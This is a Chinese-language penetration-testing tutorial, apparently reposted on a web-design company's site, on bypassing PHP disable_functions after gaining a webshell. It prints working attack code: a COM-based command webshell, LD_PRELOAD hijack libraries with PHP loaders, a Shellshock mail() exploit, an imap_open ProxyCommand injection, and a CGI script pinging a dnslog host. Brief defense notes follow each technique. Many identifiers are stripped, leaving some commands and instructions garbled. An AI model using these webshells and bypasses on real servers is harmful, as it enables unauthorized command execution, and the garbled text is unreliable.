前言
随着安全防护能力的提高,渗透测试过程中总会遇到障碍。今天我们就来看看如何解决PHP无法执行命令的问题,以及如何防御这些绕过方法,未雨绸缪。
背景
在渗透过程中获得一个是具有里程碑意义的胜利,这为我们后续的进展带来了无限的可能性。但是,什么!为什么连一条命令都执行不了?
这时候,握着贝壳的快乐就没有了。这是假壳吗? ?
我赶紧静下心来看看文件管理是否正常,于是上传看看到底发生了什么。
原来是很多命令执行功能被禁用,导致命令无法执行。好吧,那就残忍一点吧。
但这怎么能阻止我们勤奋勇敢的安全人员,何况PHP是世界上最好的语言,我们必须有办法。
有五个可以使用的想法:
接下来我们看看如何绕过执行命令。
1.查找漏网未禁用的功能
PHP 中执行命令的函数有:
,,,exec,popen,,,mail,,,,,dl,,,,link,,,,通常都有漏网之鱼,我们可以尝试找到一些没有禁用的远程功能比如( ), () 等待。
2.调用COM组件执行命令
环境要求:
1.已在php.ini中启用
com.,=.dll
2..dll文件存在于php/ext/中
使用原理:
PHP中的COM()函数可以在环境中创建系统组件对象来运行系统命令。
上传包含以下内容的 .php 文件:
$command = $_GET['cmd'];
$wsh = **new** COM('WScript.shell'); // 生成一个COM对象
Shell.Application也能
$exec = $wsh->exec("cmd /c".$command); //调用对象方法来执行命令
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
?>
使用效果:
防御方法:
COM组件可能会被用来绕过UAC等,我们需要检查com.在 PHP 配置文件中为 false。
删除php/ext/下的.dll,防止恶意利用。
3.Linux中的绕过
什么是?
它是Linux系统中的一个环境变量。它具有最高的加载优先级,可用于覆盖普通函数库。我们可以通过加载我们编写的函数库来覆盖系统中原有的一些函数,以达到执行命令的效果。中的插件原理也是如此。
3.1 利用mail函数劫持()
环境要求:
1. 在Linux系统上安装并启用程序。
2.() 和 mail() 函数并未全部禁用。
使用原理:
PHP的mail()函数执行时默认会调用系统程序/usr/sbin/和/usr/sbin/,/usr/sbin/会调用()。然后我们劫持该函数,然后调用mail函数来执行我们生成的恶意函数库中的函数。
重写()函数test.c。
#include
#include
#include
int geteuid() {
const char* cmdline = getenv("EVIL_CMDLINE");
if (getenv("LD_PRELOAD") == NULL) { return 0; }
unsetenv("LD_PRELOAD");
system(cmdline);
}
使用gcc - -fPIC test.c -o test.so将test.c编译成动态链接库test.so。
.php
这里使用()函数将test.so添加到环境变量中。
echo "
example:
http://test.com/exp.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/html/exp.so
";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "
cmdline: " . $evil_cmdline . "
";putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "
output:
" . nl2br(file_get_contents($out_path)). "";
unlink($out_path);
?>
使用效果:
3.2 劫持启动功能
环境要求:
Linux系统
使用原理:
上述方法需要劫持系统函数来实现RCE。如果该功能被禁用怎么办?如果我能找到一种在加载时执行代码而不必考虑劫持系统函数的方法,那么我根本就不必依赖它。 C++的构造函数就是这种情况。
将.c上传到目标机器:
#define _GNU_SOURCE
#include
#include
#include
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '0';
}
}
// executive command
system(cmdline);
}
然后使用以下语句将C文件编译成共享对象文件:
gcc - -fPIC .c -o .so
.php
echo "
example:
http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so
";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "
cmdline: " . $evil_cmdline . "
";putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "
output:
" . nl2br(file_get_contents($out_path)). "";
unlink($out_path);
?>
使用效果:
防御的意思是:
该方法需要上传so文件和php脚本。如果配置正确,限制目录的读、写和执行权限可以防止这种攻击。
4、利用Bash破壳(CVE-2014-6271)漏洞
环境要求:
Linux中Bash版本小于等于4.3,存在破壳漏洞。
可以执行“env x='() { :;}; echo ' bash -c "echo this is a test"”来测试是否存在破壳漏洞。如果存在则输出
这是一个测试
使用原理:
具有 Bash shell 破坏 (CVE-2014-6271) 的 Linux 服务器将通过在环境变量值中的函数定义后添加额外的字符串来触发此漏洞。该漏洞可用于更改或绕过环境限制。 mail函数的第五个参数将被传递给popen()来执行。如果系统默认的sh是bash,popen()会产生一个bash进程,然后可以利用破壳漏洞执行命令。
上传.php:
function shellshock($cmd) { // Execute a command via CVE-2014-6271 @mail.c:283
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("a@127.0.0.1","","","","-bv"); // -bv so we don't actuallysend any mail
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
echo shellshock($_REQUEST["cmd"]);
?>
使用效果:
防御的意思是:
Bash shell破解漏洞自2014年被发现以来影响了大多数Linux系统。将Linux的bash升级到最新版本可以防止这种攻击。
使用函数特性绕过 (CVE-2018-19518)。
环境要求:
PHP 的 imap 扩展已安装。
在 php.ini 中打开
imap。选项已打开。
使用原理:
该函数在将邮箱名称传递给 rsh 或 ssh 命令之前不会正确过滤邮箱名称。如果启用了 rsh 和 ssh 功能并且 rsh 命令是 ssh 命令的符号链接,则可以通过发送包含 - 参数的恶意 IMAP 服务器名称来利用此漏洞。
上传.php:
error_reporting(0);
if (!function_exists('imap_open')) {
die("no imap_open function!");
}
$server = "x -oProxyCommand=echot" . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . "|base64t-d|sh}";
//$server = 'x -oProxyCommand=echo$IFS$()' . base64_encode($_GET['cmd'] .
">/tmp/cmd_result") . '|base64$IFS$()-d|sh}';
imap_open('{' . $server . ':143/imap}INBOX', '', ''); // or
var_dump("nnError: ".imap_last_error());
sleep(5);
echo file_get_contents("/tmp/cmd_result");
?>
使用效果:
防御方法:
如果您的业务没有使用imap相关功能,可以在php.ini中添加禁用功能:(),(),()
升级PHP版本。当版本 7.1.25 发布时,CVE-2018-19518 漏洞已针对 7.1.x 正式修复。
利用模式绕过 php.ini 中的限制。
环境要求:
1.服务已加载模块,配置文件内容如下:/.so
2、当前目录可以上传解析.files,配置文件中要写“all”。
3.安装环境(其他语言环境也可以尝试)。
使用原理:
看到这里,我想大家已经想到了。是的,就是修改。文件让CGI解析脚本并执行系统命令。
.内容如下:
AddHandler cgi-script .x
Python.x内容如下:
\#!F:\\Python38\\python.exe
import os
os.system("ping hbztiu.dnslog.cn")\#参数改为想要执行的命令
使用效果:
防御方法:
.file是一个独特的配置文件,没有很好的防御方法。如果程序不使用该文件,请禁用 和 。在 PHP 配置文件中。
五、应急处置方法
当我们的服务器受到上述攻击时,我们应该如何排查和处理呢?
1、上述攻击方式需要在服务器上上传文件。可以根据以下关键字在服务器上筛选可疑文件:.shell、、、、。
2.检查PHP配置文件是否和.已更改或添加了恶意配置。
3. 检查bash等系统组件是否存在与其他漏洞结合利用的漏洞。
六、总结
如何防御未知攻击?作为安全人员,我们需要了解新的攻击方式以及如何防范此类攻击。只有攻守相互促进,才能更上一层楼。
扫一扫在手机端查看
-
Tags : html include php_奇怪的PHP知识增加了
我们凭借多年的网站建设经验,坚持以“帮助中小企业实现网络营销化”为宗旨,累计为4000多家客户提供品质建站服务,得到了客户的一致好评。如果您有网站建设、网站改版、域名注册、主机空间、手机网站建设、网站备案等方面的需求,请立即点击咨询我们或拨打咨询热线: 13761152229,我们会详细为你一一解答你心中的疑难。